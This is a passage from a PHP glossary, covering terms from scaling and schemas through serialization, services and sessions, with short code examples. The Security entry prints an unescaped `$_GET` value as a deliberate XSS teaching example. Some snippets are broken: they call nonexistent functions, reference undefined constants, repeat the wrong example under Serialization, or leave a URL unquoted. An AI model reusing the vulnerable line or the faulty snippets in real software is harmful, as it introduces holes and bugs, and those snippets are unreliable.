- Special Types
- String
- Boolean
- Floating Point Numbers
- integer
- Alias Types
- Constant Scalar Expression
- Literal Types
- Primitive Obsession
- Relative Types
Scaling
Scaling refers to the ability of an application to handle increased workload or traffic while maintaining performance, availability, and reliability. When a PHP application needs to scale, it means it needs to accommodate more users, handle more requests, or process more data without sacrificing its responsiveness or stability.
There are several aspects to consider when scaling an application: vertical scaling, horizontal scaling, caching, asynchronous processing, code optimisation, monitoring.
See Also
- Scaling PHP Applications: Strategies for High Traffic and Performance
- Horizontally Scaling PHP Applications
- Building Scalable PHP Applications: Best Practices for Performance and Security
Related
- Performance
- Architecture
- Horizontal Scaling
- Vertical Scaling
- Server Architecture
- Container Orchestration
- Quality of Service (QoS)
- Shared-Nothing Architecture
- Throughput
Schema
A schema is a blueprint or structural representation of the organization and structure of a complex dataset. That dataset may be a database, a XML file, a JSON file, etc.
It defines how data is organized and how relationships between data are handled within the database system. In essence, a database schema specifies the logical design of the database, including the tables, fields, relationships, constraints, and other characteristics that define the data storage and retrieval.
A schema is often needed for validations, in particular when they are complex or voluminous.
A schema relies on simple types, such as strings, int, etc.
See Also
Related
- Database
- Normalisation
- JavaScript Object Notation (JSON)
- Extensible Markup Language (XML)
- Scheme
- Validation
- Document Database
Scheme
Scheme is a format for a string.
For example, URLs, emails, dates have a scheme. It may be parsed from a string into atomic elements, and formatted back as a string.
See Also
Related
Scope Resolution Operator ::
The Scope Resolution Operator :: is a token that allows access to static, constant, and overridden properties or methods of a class.
Traditionally, this used to be a feature of the function get_class(). The operator is more modern and faster.
The double colon operator is used to access class related elements, such as
- Static properties,
X::$property - Static methods,
X::method() - Static constants,
X::CONSTANT - Class name,
X::class
This operator is often called double-colon, or paamayim-nekudotayim: this means double-colon in Hebrew. It is said to be a lot easier to google than ::.
PHP also has a single colon operator :, used for goto labels, ternary operator, etc.
<?php
$a = new stdClass();
echo $a::class;
// identical to
echo get_class($a);
?>
See Also
Related
- Object Operator ->
- Object Nullsafe Operator ?->
- Static Method
- Static Constant
- Static Class
- Static Property
- Colon
- Double
- Class
- Null Safe Object Operator
Scope
The scope, also called context, is the space in which a certain elements are defined. There are function, closure or method scope, for local variables; methods are also defined in a class scope.
A variable scope is usually its host method, or the file in which is used. It also extends to any included files, and skips other method definition.
Arrow functions are initialised with the same scope than the defining scope, but do not write back in it. Closure with the use keyword also import variables from the defining scope.
Scopes are generally considered as global or local.
<?php
// $trunk is defined in the file scope
$trunk = 1;
// $trunk is extended to the included scope
include 'b.php';
// arrow functions use the same scope than the defining code.
// here, $trunk is also defined there.
// $herd will not be available in the calling scope.
$herd = fn () => $trunk + ($herd = 2);
function trumpet() {
// $tusk is only defined in the trumpet() function
echo $tusk;
}
?>
See Also
Related
Software Development Kit (SDK)
SDK stands for Software Development Kit. It is a set of tools, libraries, documentation, and resources that developers use to create software applications for specific platforms, frameworks, or programming languages. SDK provide a structured way for developers to access and utilize the features and capabilities of a particular software platform or service.
An SDK typically includes:
- Libraries: pre-written code modules that provide functions and classes to perform specific tasks.
- Documentation: guides, tutorials, and reference materials that explain how to use the SDK and its components.
- Sample code: example code snippets or complete applications that demonstrate how to use the SDK in practice.
- Tools: utilities and software programs that aid in the development, debugging, and testing of applications.
- API: interfaces that define how software components should interact with each other, allowing developers to integrate their applications with the platform or service provided by the SDK.
SDK are commonly provided by companies or organizations to encourage developers to build applications that integrate with their platforms, such as mobile operating systems, cloud computing services, social media platforms, and many others.
See Also
Related
Related packages
Software Development Life Cycle (SDLC)
SDLC stands for Software Development Life Cycle. It is the structured process used by software development teams to design, develop, test, deploy, and maintain high-quality software.
The SDLC provides a framework for managing the entire lifecycle of software, from initial planning to final retirement. SDLC is common to every development team, but it is also set up in a different manner each time, based on technology choice, business goals.
There are several models used to implement SDLC, including:
- Waterfall: linear, sequential phases.
- Agile: iterative, flexible, and customer-focused.
- Spiral: combines iterative development with risk analysis.
- DevOps: integrates development and operations for continuous delivery.
See Also
Related
Sealed Class
A sealed class, or sealed interface, is a class whose set of direct children is restricted and known at compile time. Only explicitly listed classes are allowed to extend it; no other class may do so, even in an external library.
This makes sealed hierarchies exhaustively enumerable: a compiler can verify that a switch or pattern match covers every possible subtype, with no catch-all needed.
Sealed classes are available in Kotlin sealed class, Java since version 17, sealed interface ... permits ..., Scala 3 sealed trait, and Swift, enum with associated values serves a similar role. C# has no direct equivalent but approximates it with abstract classes and internal constructors.
PHP has no concept of sealed classes or sealed interfaces. Inheritance cannot be restricted beyond final, which prevents all children class rather than allowing a controlled set.
<?php
// PHP has no sealed keyword.
// final prevents all children, which is too restrictive.
final class Circle {} // Nothing can extend Circle at all.
// The sealed pattern must be enforced by convention or static analysis only.
?>
See Also
Related
Search Engine
A search engine is a system that indexes and retrieves data based on queries. In applications, a search engine typically refers to a dedicated search service or library that provides full-text search capabilities beyond what a relational database can offer natively.
Popular search engines used with PHP projects include Elasticsearch, OpenSearch, Meilisearch, Typesense, and Apache Solr. They offer features such as full-text indexing, relevance ranking, faceted search, autocomplete, and typo tolerance.
Search engines usually operate as external services communicating via HTTP APIs. PHP libraries are used as clients to index documents and execute queries against the engine.
<?php
// Indexing a document with Elasticsearch PHP client
use Elastic\Elasticsearch\ClientBuilder;
$client = ClientBuilder::create()
->setHosts(['localhost:9200'])
->build();
$client->index([
'index' => 'products',
'id' => 42,
'body' => [
'title' => 'Widget Pro',
'description' => 'A high-quality widget for professionals.',
'price' => 29.99,
],
]);
// Searching documents
$response = $client->search([
'index' => 'products',
'body' => [
'query' => [
'match' => ['description' => 'widget'],
],
],
]);
foreach ($response['hits']['hits'] as $hit) {
echo $hit['_source']['title'] . PHP_EOL;
}
?>
See Also
Related
- Database
- Index For SQL
- Cache
- REST API
- Application Programming Interface (API)
- Storage Systems
- robots\.txt
Related packages
Second Order SQL Injection
A second-order SQL injection, also known as stored SQL injection or persistent SQL injection, is a type of SQL injection attack where the payload is not directly injected into the application’s SQL query, but rather into the application’s database, from where it is later retrieved and executed within another context, leading to a security vulnerability.
See Also
Related
Secret
In Computer Science, especially in cybersecurity, cryptography, and software development, a secret refers to any piece of sensitive information that must be kept confidential and protected from unauthorized access.
These may be: passwords, API keys, Personal tokens, private keys, and not the public key, certificates, etc.
Private data are not considered a secret, even if they should be kept secret. They are data used between two parties, while a secret usually is reserved for only one party, even when hosted on another party’s infrastructure.
See Also
- Secrets Management - OWASP Cheat Sheet Series
- What is Secrets Management? Best Practices & Tools | Wiz
Related
Security
Security involves implementing measures and best practices to protect the application and its data from malicious attacks and vulnerabilities.
Security risks may be of different nature: data privacy, identity usurpation, resource abuse, privilege escalation, resource access.
Security applies to PHP itself, and also to the application written with it.
<?php
// classic example of a XSS injection
echo $_GET['a'];
?>
See Also
- PHP Security Best Practices, Vulnerabilities and Attacks
- PHP Security
- Senior PHP Developers Make These Security Mistakes Too — And Nobody Talks About It
- The Quiet Shift Reshaping PHP Security
Related
- Audit Trail
- Attack Surface
- Framework
- Taint Analysis
- Time Of Check To Time Of Use (TOCTOU)
- Data Leak
- Nonce
- OWASP
- Sensitive Parameter
- Code Review
- Distributed Denial Of Service (DDOS)
- Race Condition
- Zero Day Vulnerability
- hash_equals()
- html_entity_decode
- htmlspecialchars
- Insecure Deserialization
- Privacy
- Access Control List (ACL)
- Appeasement Pattern
- Dynamic Loading
- Escape Character
- php://filter
- Poisoned Pipeline Execution (PPE)
- Fuzzing
- Hard Coded
- Hash Comparisons
- OAuth
- Shell Exec
- Capture The Flag (CTF)
- Multi-Factor Authentication (MFA)
- Obfuscation
- Rate Limiting
- CRLF Injection
- escapeshellarg()
- Image Injection
- LDAP Injection
- escapeshellcmd()
- Shell Injection
- Server-Side Request Forgery (SSRF)
- Steganography
- C2 Framework
- Content Security Policy (CSP)
- EXIF (Exchangeable Image File Format)
- file://
SeekableIterator
SeekableIterator extends the Iterator interface by adding a seek(int $offset) method to jump directly to a specific position without iterating through preceding elements.
It is implemented by ArrayIterator and SplFixedArray. Attempting to seek to an invalid position should throw an OutOfBoundsException.
<?php
$iterator = new ArrayIterator(['a', 'b', 'c', 'd', 'e']);
$iterator->seek(3);
echo $iterator->current(); // d
?>
See Also
Related
Segmentation Fault
Segmentation fault is the laconic error message that is displayed when PHP crashes. It signals that an error occurred during the execution of the PHP code, and it was not handled by any part of the engine.
Segmentation faults are notoriously hard to fix. They are often linked to a bug, and there are some rare PHP syntax that leads to them. PHP 8.3 addresses them with a sensor that stops the problem before it gets out of hand.
<?php
// start the file by including itself immediately.
// What do you expect?
include __FILE__;
// Until PHP 8.3
// Segmentation fault
?>
See Also
Related
Self-documenting
A self-documenting piece of code may be understood without the need to read the documentation. In particular, names are explicit and related to the application goals, and the methods and techniques are simple to relate to.
Self-documenting prevents developers from writing external documentation: this never falls out of synchronisation, as the code is the documentation itself. It also saves switching context to collect extra information.
Self-documenting relies on the reader’s knowledge: one needs to have background know-how to confirm the code does what it means.
<?php
function multiplication(int $left, int $right): int {
$return = $left * $right;
// usage of is_float() is not obvious, or self-documenting
if (is_float($return)) {
throw new OverflowException('The result is too big.');
}
return $return;
}
?>
See Also
Related
Self-reference
A self-reference is a reference into one-self.
An array may hold a reference onto itself. Some functions are disrupted by these references, and yield recursion detected: compact(), count(), var_export(), etc…
$GLOBALS is a self-reference array: it contains a reference onto itself, as it is also a global variable.
Variables cannot be self-reference, although they might reference another variable, stored in themselves.
<?php
$trunk = 1;
$trunk = &$trunk;
$array = [1,2,3, &$array];
?>
See Also
- 9 Recipe for Self-Referential Data (Recursive Types)
- Everything You Need to Know About Self-Referential Structures in C
Related
Self
self is one of the three special keywords that are used to access properties or methods from inside the class definition. It relates to the current written class.
self is traditionally written lower-case, although it is case-insensitive. self is a PHP keyword.
<?php
class Elephpant {
private const HABITAT = 1;
function trumpet() {
// same as \Elephpant::C;
return self::C;
}
}
?>
See Also
Related
- static
- parent
- Keyword
- Child Class
- Language Construct
- PHP Natives
- Special Types
- Late Static Binding
- Relative Types
Semaphore
A semaphore is a synchronization primitive used to control access to shared resources in concurrent systems.
Semaphores can be implemented using the sysvsem extension. They are useful for limiting access to a finite number of resources.
<?php
// Create a semaphore
$sem = sem_acquire(sem_get(ftok(__FILE__, 't')));
// Critical section
// ... access shared resource ...
// Release the semaphore
sem_release($sem);
?>
See Also
Related
Semantic Analysis
Semantic analysis is the phase of compilation or static analysis that checks the meaning of a program after its structure has been parsed. Where lexical analysis identifies tokens and parsing builds a syntax tree, semantic analysis verifies that the program makes sense according to the rules of the language.
Typical checks performed during semantic analysis include:
- Type checking: verifying that values are used with compatible types
- Scope resolution: ensuring that every identifier refers to a declared symbol
- Arity checking: confirming that functions are called with the correct number of arguments
- Constant folding: evaluating expressions whose values are known at compile time
- Dead branch elimination: detecting conditions that are always true or always false
In static analysis, semantic analysis underpins the type inference and undefined-variable checks performed by tools.
<?php
function greet(string $name): string {
return 'Hello, ' . $name;
}
// Semantic analysis detects the type mismatch: int passed where string is expected
greet(42);
?>
See Also
Related
- Analysis
- Lexical Analysis
- Abstract Syntactic Tree (AST)
- Type System
- Control Flow Analysis
- Data Flow Analysis (DFA)
- Symbolic Analysis
- Pattern-Based Analysis
- Static Application Security Testing (SAST)
Related packages
Semantic Versioning
Semantic Versioning is a version numbering scheme that encodes meaning about the changes in each release.
The format is:MAJOR.MINOR.PATCH.
- MAJOR – Incremented when making incompatible API changes.
- MINOR – Incremented when adding new functionality in a backward-compatible manner.
- PATCH – Incremented when making backward-compatible bug fixes.
Optionally, there is also:
- Pre-release tags:
1.0.0-alpha, 1.0.0-beta.2. - Build metadata:
1.0.0+20230930.
See Also
Related
Related packages
Semantics
Semantics is related with the meaning of things. In particular, when naming structures, such as variables, classes, methods, properties, goto labels, use alias, functions or constants, the name should be meaningful.
While naming doesn’t impact the code itself, as names are free, they do have a serious impact on human understanding of the code.
It is also possible to find inconsistencies between the name and its usage. For example, when a name is used for an unexpected type.
<?php
function trumpet(User $commenter) { }
// Inconsistence between the parameter name and its type
function forage(array $string) { }
?>
See Also
Related
Semicolon ;
Semicolon ; is used to mark the end of a statement.
It is also used in the for() statement, to separate the initialization, the termination and the increment. When using several statement between those semicolons, they must be separated with a comma.
Semicolons may also be used instead of colons, in a case statement.
Semicolons may be omitted, before a closing PHP tag.
<?php
$a = 1; $b = 2;
// multi-statement usage in for()
for($i = 0, $j = 0; $i < 10; ++$i, ++$j) {
print "$i $j\n";
}
switch($a) {
case 1;
$a = 2;
break;
default;
$a = 1;
}
// semi colon may be omitted before the closing tag.
$c = 1
?>
See Also
Related
Sensitive Parameter
This is a native PHP attribute, which tells the engine that a parameter is a sensitive parameter, and should not be displayed by PHP when an error displays the stack trace.
This prevent innocent mistakes, where reading the logs on the production server also tells the actual value of a secret.
<?php
function trumpet(
#[SensitiveParameter] string $apiKey
): int {
throw new Exception('Could not trumpet');
}
trumpet('abc');
/* The code above displays the following :
Fatal error: Uncaught Exception: Could not trumpet in file.php:6
Stack trace:
#0 file.php(9): trumpet(Object(SensitiveParameterValue))
#1 {main}
thrown in file.php on line 6
*/
?>
See Also
Related
Sentinel
A sentinel is a special, reserved value used to signal a specific condition, such as the end of a sequence, an absence of data, or an error, instead of adding a separate flag or an exception for it. A sentinel is drawn from the very same domain as legitimate data, which creates ambiguity whenever it collides with an actual value: this is exactly the mechanism behind the famous strpos() syndrome.
Common sentinels include -1 as a ‘not found’ index, the null terminator \0 marking the end of a C string, EOF while reading a file, and a dedicated, otherwise-unreachable object used as the default value of a parameter, to detect that no argument was actually passed.
PHP relies on sentinels extensively: false is the sentinel returned by many string and array functions to mean ‘nothing found’, feof() is the sentinel condition of a read loop, and INF, -INF and NAN act as sentinels for numeric overflow and invalid operations.
<?php
$handle = fopen('data.txt', 'r');
while (!feof($handle)) { // feof() is the sentinel condition
$line = fgets($handle);
}
// a dedicated object as a sentinel default, to detect a missing argument
final class Undefined {}
const UNDEFINED = new Undefined();
function greet(string $name, mixed $mood = UNDEFINED) {
if ($mood === UNDEFINED) {
$mood = 'happy';
}
}
?>
See Also
Related
Search Engine Optimization (SEO)
Search Engine Optimization, or SEO, is the practice of improving a website so that search engines rank it higher in search results. From a PHP developer’s perspective, SEO involves both the content served and the technical implementation.
Key technical SEO factors influenced by PHP code include:
- Generating clean, semantic HTML
- Managing canonical URLs and redirects, HTTP codes 301/302
- Serving proper HTTP status codes, HTTP codes 404, 410, etc.
- Controlling caching headers for fast page loads
- Generating XML sitemaps and robots.txt dynamically
- Handling
<meta>tags, Open Graph, and structured data, like JSON-LD - Producing human-readable, keyword-rich URLs, or slugs
PHP-based CMS and frameworks such as WordPress, Drupal, Symfony, and Laravel all have dedicated SEO plugins or packages.
Common pitfalls include duplicate content, when missing canonical tags, slow response times, broken links, and incorrect use of HTTP status codes.
<?php
// Canonical URL header
header('Link: <https://example.com/page>; rel="canonical"');
// Permanent redirect
header('Location: https://example.com/new-url', true, 301);
exit;
?>
See Also
Related
- World Wide Web (WWW)
- HyperText Markup Language (HTML)
- Webserver
- HTTP Request Headers
- sitemap
- Universal Resource Locator (URL)
- Redirect
- Slug
- Cache
- Canonical
Separation Of Concerns
Separation of concerns is a design principle that advocates dividing a software system into distinct sections, each addressing a distinct concern. A concern is any piece of interest or focus in a program.
The principle helps keep each section focused on one specific responsibility, making the code easier to understand, maintain, and test. It is closely related to the Single Responsibility Principle, SRP, from SOLID, but applies more broadly at the architectural level as well as at the code level.
Classic examples include separating business logic from presentation, separating configuration from code, and separating I/O from computation.
Violations of this principle often manifest as God Classes or functions that mix unrelated responsibilities, leading to tight coupling and reduced cohesion.
<?php
// Concerns mixed: business logic and output together
function getUserAndDisplay(int $id): void {
$user = fetchFromDatabase($id); // data access
echo "<h1>" . $user['name'] . "</h1>"; // presentation
}
// Concerns separated
function getUser(int $id): array {
return fetchFromDatabase($id); // data access only
}
function displayUser(array $user): void {
echo "<h1>" . $user['name'] . "</h1>"; // presentation only
}
?>
See Also
- Code Decoupling and Modularization in PHP
- On the Criteria To Be Used in Decomposing Systems into Modules
Related
- SOLID
- Single Responsability Principle (SRP)
- Model - View - Controller (MVC)
- God Object
- Clean Architecture
- Coupling
- Decoupling
- Cohesion
- Abstraction
- Onion Architecture
- Aspect-Oriented
- Business Logic
Separator
Separators are specific characters that ends a previous area, and open a new one. They are used in structured dataset, to allow multiple values to be hosted.
The separator makes the building and parsing of the string easy. The separator must be forbidden in the separated values, or it must be protected to avoid confusion between a literal value and an actual separator.
Multiple separators may be used in the same format. For example, in query strings, & is used to distinguish different variables, and = is used to distinguish the name and the value.
Separators are argument in functions such as implode(), explode() or http_build_query().
Some separators:
|is used to separate types in a Union type&is used to separate values in a query string/is used to separate directory names in a file system path.,is used in list of values.
<?php
print join("glue", [1, 2, 3]);
?>
See Also
Related
Sequence
A sequence is an ordered collection of values accessed by integer index starting from 0. PHP arrays natively act as sequences when keys are consecutive integers. The ds extension provides a dedicated Ds\Sequence interface implemented by Ds\Vector and Ds\Deque.
Unlike sets or maps, sequences allow duplicate values and maintain insertion order.
<?php
use Ds\Vector;
$seq = new Vector([1, 2, 3, 4]);
$seq->push(5);
echo $seq->get(2); // 3
echo $seq->count(); // 5
?>
See Also
Related
Related packages
Serde
Serde is shorthand for SERialization + DEserialization. It designs a library that offers services of encoding and decoding with one or more formats, between PHP internal representations and an external interface.
See Also
Related
- Serialization
- JavaScript Object Notation (JSON)
- YAML Ain’t Markup Language (YAML)
- Tom’s Obvious Minimal Language (TOML)
- Array, []
- Comma Separated Values (CSV)
- Parquet
Related packages
Serializable
Serializable is a PHP native interface, that makes implementing classes use custom code to serialize and unserialized their objects.
The Serializable interface requires two methods: serialize(), which must return a string representing the object’s state, and unserialize($data), which receives that same string back and must use it to rebuild the object’s properties. When a class implements Serializable, PHP’s own serialize() and unserialize() functions call these methods instead of using their default behavior, which is to walk through the object’s properties automatically.
Serializable was introduced in version 5.1, and became deprecated in version 8.1, in favor of the __serialize() and __unserialize() magic methods. The main problem with Serializable was that unserialize() is called before the constructor runs, and before any parent state is initialized, which made it easy to create objects in an inconsistent or unsafe state from untrusted serialized strings, contributing to a whole class of PHP object injection vulnerabilities. The magic methods interact more safely with the object initialization process and PHP’s typed properties.
No PHP version has removed the Serializable interface yet, but its deprecated status means that classes still implementing it without also implementing __serialize() and __unserialize() should be migrated, to remain forward compatible with future PHP releases.
<?php
class Elephpant implements Serializable {
public function __construct(private string $data) { }
public function serialize() {
// simple serialization, as there is only one property
return bz2compress($this->data);
}
public function unserialize($data) {
// simple serialization, as there is only one property
$this->data = bz2uncompress($data);
}
}
$object = new Elephpant('This is my data, and it may be very long.');
$serialized = serialize($object);
var_dump($serialized);// Some binary code
$newObject = unserialize($serialized);
var_dump($newObject->getData()); // The original
?>
See Also
Related
Serialization
Serialization refers to the process of converting a data structure or object into a format that can be easily stored, transmitted, or reconstructed later. In other words, it involves converting complex data, such as objects or data structures, into a linear sequence of bytes or characters that can be saved to a file, sent over a network, or otherwise persisted.
Serialization is commonly used in computer science and software development for various purposes, such as:
- Data Storage: serialized data can be saved to files or databases, allowing it to be retrieved and reconstructed at a later time.
- Data Transmission: serialized data can be sent over a network or communication channel, allowing it to be transmitted between different systems or processes.
- Caching: serialized data can be stored in memory caches, improving the performance of applications by reducing the need to regenerate complex data structures.
- Remote Procedure Calls, RPC: serialized data can be used to pass function arguments and return values between remote systems or services.
- Message Queues: serialized data can be placed in message queues to enable communication between different components or microservices.
- State Persistence: serialized data can represent the state of an application, enabling it to be saved and restored across different sessions.
Common serialization formats include JSON, XML, Protocol Buffers, and MessagePack, among others. Each format has its own characteristics, advantages, and use cases. The choice of serialization format often depends on factors such as data complexity, performance requirements, interoperability, and ease of use.
Deserialization, also known as unserialization, is the reverse process, where the serialized data is converted back into its original form, such as objects or data structures, so that it can be used and manipulated within a program.
There are different ways to implement serialization. The native way is to rely on the serialize() and unserialize(), which, in turn, rely on the __serialize() and __unserialize() magic method. Then, var_export() and require() make another serialization method. WDDX, XML, JSON or YAML all work as serialization, yet they usually are not considered, over speed or performance issues.
<?php
class Elephpant {
private const HABITAT = 1;
function trumpet() {
// same as \Elephpant::C;
return self::C;
}
}
?>
See Also
- Benchmarking serialization
- Understanding Serialisation in PHP
- ProtoBuf in PHP for ultra-efficient and agnostic serialization
- A Guide to Serialization in PHP
Related
- __serialize() Method
- __unserialize() Method
- JsonSerializable
- Remote Procedure Call (RPC)
- Message Queue
- Cache
- Object Injection
- Deep Clone
- Serde
- String
- Serializable
- var_export()
- Insecure Deserialization
- serialize_precision
- Snapshot
- Hydratation
- Interoperability
- Metadata
- Protocol Buffers
Related packages
serialize_precision
The serialize_precision directive controls the number of significant digits used when serializing float values via serialize() and json_encode().
Since PHP 7.1, the default is -1, which uses the minimum number of digits needed to uniquely represent each float, ensuring round-trip fidelity. A positive integer value uses that many significant digits instead, which may introduce rounding.
<?php
// With serialize_precision = -1 (default since PHP 7.1)
$value = 3.141592653589793;
echo json_encode($value);
// outputs: 3.141592653589793
// With serialize_precision = 14
// outputs: 3.1415926535898
?>
See Also
Related
Server Architecture
Server architecture refers to the design and organization of the hardware, software, networks, and protocols that make up a server system. It defines how servers are structured, how they communicate, and how they handle requests, data, and resources. The goal of server architecture is to ensure reliability, scalability, performance, security, and maintainability of the server infrastructure.
Key Aspects of Server Architecture:
- Hardware: physical servers
- Software: what application runs on which server
- Networking: how traffic is distributed between the servers
- Storage: what are the different storage options, local or remote, short or long term
- Server Roles: what is the logical role, or roles of a server
The server architecture may include production, pre-production and development servers.
See Also
Related
Server
A server is a piece of computer hardware or software that provides functionality for other programs or devices, called clients.
Servers can serve data to other computers over a network, either locally or across a network or the internet.
They are designed to handle requests, process them, and deliver responses.
PHP can act both as a client and server, depending on the situation.
See Also
Related
- SQL Database
- Webserver
- Client
- Query
- Response
- Attack
- Shard
- Socket
- Connection
- Hosting
- Linux Apache Mysql PHP (LAMP)
- Lightweight Directory Access Protocol (LDAP)
- Linux Nginx Mysql PHP (LEMP)
- Secure Shell (SSH)
Serverless
Serverless computing is an execution model where a cloud provider allocates compute resources on demand, scaling to zero when idle. Developers deploy functions or entire applications without managing servers.
PHP runs serverlessly via AWS Lambda with Bref, Google Cloud Functions, Azure Functions, or Vercel. The bref package is the most common bridge, wrapping PHP applications for Lambda execution.
See Also
Related
- Cloud
- IaaS
- PaaS
- Software-as-a-Service (SAAS)
- Architecture
- Pay-as-you-go
- SplSubject
- Cold Start
- Edge Computing
- Function-as-a-Service (FaaS)
Related packages
Service Container
A service container is a design pattern used in software development to manage and provide services as dependencies.
Instead of creating objects manually all over the code, the container builds and supplies them when needed. This class is a part of dependency injection.
Services can be used across different parts of an application, reducing code duplication.
See Also
Related
Service Discovery
Service discovery is the mechanism by which services in a distributed system find each other’s network locations, such as host, port, protocol, dynamically, without hardcoding addresses.
In a microservices environment, service instances are ephemeral: they start, stop, scale up or down, and move across hosts. Static configuration breaks immediately. Service discovery solves this by maintaining a registry of live instances and providing a way to query it.
Two main patterns exist: client-side discovery, where the caller queries the registry and selects an instance itself; and server-side discovery, where the caller sends the request to a router that performs the lookup transparently .
With microservices, server-side discovery via Kubernetes DNS or an API gateway is the most common approach. The PHP service simply calls http://order-service/orders and the infrastructure resolves and routes the request to an available instance.
<?php
// In a Kubernetes environment, service discovery is transparent:
// The Kubernetes DNS resolves 'payment-service' to a live pod IP.
// PHP code uses the service name as the hostname, no registry queries needed.
$response = $httpClient->post('http://payment-service/charge', [
'json' => ['amount' => 9900, 'currency' => 'EUR'],
]);
// With Consul (client-side discovery via HTTP API)
$instances = json_decode(
file_get_contents('http://consul:8500/v1/health/service/payment-service?passing'),
true,
);
$instance = $instances[array_rand($instances)];
$host = $instance['Service']['Address'];
$port = $instance['Service']['Port'];
$response = $httpClient->post(http://$host:$port/charge, ['json' => $payload]);
?>
See Also
Related
Service Mesh
A service mesh is a dedicated infrastructure layer that handles service-to-service communication inside a microservice architecture, taking concerns like service discovery, load balancing, retries, timeouts, circuit breaking, encryption, and observability out of application code and into the network layer itself. It is typically implemented by attaching a lightweight sidecar proxy, such as Envoy, to every service instance; each sidecar intercepts all inbound and outbound traffic for its service, forming a data plane, while a separate control plane configures and coordinates all the sidecars centrally, for example to roll out a canary release or enforce mutual TLS between services. For a PHP application, this means a service written in Laravel, Symfony, or plain PHP running inside a container can gain retries, load balancing, and encrypted service-to-service traffic without any PHP-side code changes at all, since the mesh operates transparently at the network layer, usually inside a Kubernetes cluster managed by tools like Istio or Linkerd. Adopting a mesh adds real operational complexity, so it tends to pay off mainly once an application has grown into enough independent services that manually coordinating their communication has become a burden.
See Also
Related
Service Registry
A service registry is a database of available service instances in a distributed system. Each instance registers itself on startup, providing its host, port, health endpoint, and metadata, and deregisters on shutdown. Consumers query the registry to discover where to send requests.
The registry must be highly available and consistent, since all service communication depends on it. Common implementations are Consul, Etcd, and Apache ZooKeeper. Kubernetes uses its own internal DNS and etcd-backed service registry transparently.
Services are expected to send periodic heartbeats to the registry; instances that fail to heartbeat are automatically removed, ensuring the registry only lists healthy instances.
With microservices, the registry is rarely queried directly. Kubernetes DNS or an API gateway abstracts it. When using Consul directly, PHP can register via the Consul HTTP API at startup, e.g., in a Swoole or FrankenPHP worker, and query it for service locations.
<?php
// Register this PHP service instance with Consul on startup
$payload = [
'Name' => 'order-service',
'ID' => 'order-service-' . gethostname(),
'Address' => gethostbyname(gethostname()),
'Port' => 8080,
'Check' => [
'HTTP' => 'http://' . gethostbyname(gethostname()) . ':8080/health',
'Interval' => '10s',
'Timeout' => '2s',
],
];
$ch = curl_init('http://consul:8500/v1/agent/service/register');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_exec($ch);
?>
See Also
Related
Service
A service is a class that encapsulates specific functionality, making it available to other parts of an application. Services are a core concept in modern PHP development, especially when using frameworks with dependency injection-based architectures.
A service bundles related logic, such as sending emails, logging, database access, into a single, reusable class.
Services are often injected into other classes or functions, rather than being instantiated directly. This promotes loose coupling and easier testing.
Services can be used across different parts of an application, reducing code duplication.
Services are typically configured and managed by a service container.
See Also
Related
- Encapsulation
- Dependency Injection
- Service Container
- Business Logic
- Downtime
- Lightweight Directory Access Protocol (LDAP)
- Value Object
Session Fixation
A session fixation attack is a type of security exploit where an attacker sets a victim’s session identifier to a known value, allowing the attacker to hijack the session once the victim logs in. This type of attack exploits the way web applications manage session authentication.
To prevent session fixation attacks, web applications should employ secure session management practices, such as generating random session identifiers for each user session and invalidating session identifiers after login or logout. Additionally, using secure HTTPS connections can help protect against session hijacking and interception of session identifiers.
See Also
Related
Related packages
Session Hijacking
Session hijacking, also known as session stealing, is an attack where an unauthorized person takes over a user’s session. In the context of web applications, this typically involves gaining control of a user’s session in order to impersonate them and perform actions on their behalf.
There are several ways to realize session hijacking: session fixation, man in the middle attack, session ID stealing, CSRF and XSS.
Session hijacking is mitigated by having a way to identify if a user is the actual owner of a session, or it was stolen, and is being used by someone else. For example, a secondary cookie, the IP address or the browser signature are generally stable. Someone providing a session ID, with a new browser signature should trigger a new identity validation.
See Also
- Session And Security in PHP
- PHP Security Vulnerabilities: Session Hijacking, Cross-Site Scripting, SQL Injection, and How to Fix Them
Related
- Session Fixation
- Session
- Cross Site Scripting (XSS)
- Cross Site Request Forgery (CSRF)
- Man In The Middle
Session
Session support consists of a way to preserve certain data across subsequent accesses to the web server.
By default, each query to a webserver is independent from the others. With session, it is possible to keep some data on the server, and retrieve them at each access.
It relies on the session_* functions, and the $_SESSION superglobal variable.
<?php
if (isset($_SESSION['x'])) {
print 'x was already set with the value ' . $_SESSION['x'];
}
$_SESSION['x'] = rand(0, 10);
print 'Giving the value ' . $_SESSION['x'] . 'to x, in the session';
?>
See Also
- Session in PHP: Creating, Destroying, and Working With Session in PHP
- Sessions security
- Fixing PHP Session Issues: Troubleshooting and Solutions
Related
- Superglobal Variables
- Object Persistence
- Persistence
- Session Fixation
- Session Hijacking
- Horizontal Scaling
- Race Condition
- Single Sign On (SSO)
- State
- JSON Web Token (JWT)
- Load Balancer
- SessionHandlerInterface
- SessionIdInterface
- SessionUpdateTimestampHandlerInterface
- APCu
- Shared Memory
- Temporary
- Time To Live (TTL)
SessionHandlerInterface
SessionHandlerInterface defines the contract for custom PHP session save handlers. Implementing it allows storing sessions in any backend, may it be a Redis server, a database, an encrypted file, etc.
The six methods to implement are open(), close(), read(), write(), destroy(), and gc(). Register the handler with session_set_save_handler().
<?php
class RedisSessionHandler implements SessionHandlerInterface {
private Redis $redis;
public function open(string $path, string $name): bool { return true; }
public function close(): bool { return true; }
public function read(string $id): string|false {
return $this->redis->get('sess:' . $id) ?: '';
}
public function write(string $id, string $data): bool {
return (bool) $this->redis->setex('sess:' . $id, 1440, $data);
}
public function destroy(string $id): bool {
$this->redis->del('sess:' . $id);
return true;
}
public function gc(int $max_lifetime): int|false { return 0; }
}
session_set_save_handler(new RedisSessionHandler());
?>
See Also
Related
- Session
- Interface
- PHP Native Interfaces
- SessionIdInterface
- SessionUpdateTimestampHandlerInterface
- SplSubject
SessionIdInterface
SessionIdInterface is an optional interface a session handler can implement to generate its own session IDs. It defines a single method create_sid(): string returning a new unique session identifier.
When PHP needs a new session ID and the handler implements this interface, create_sid() is called instead of the built-in ID generation.
<?php
class CustomSessionHandler implements SessionHandlerInterface, SessionIdInterface {
public function create_sid(): string {
return bin2hex(random_bytes(16));
}
// ... implement remaining SessionHandlerInterface methods
}
?>
See Also
Related
SessionUpdateTimestampHandlerInterface
SessionUpdateTimestampHandlerInterface allows session handlers to validate session IDs and control whether the session timestamp is updated on read.
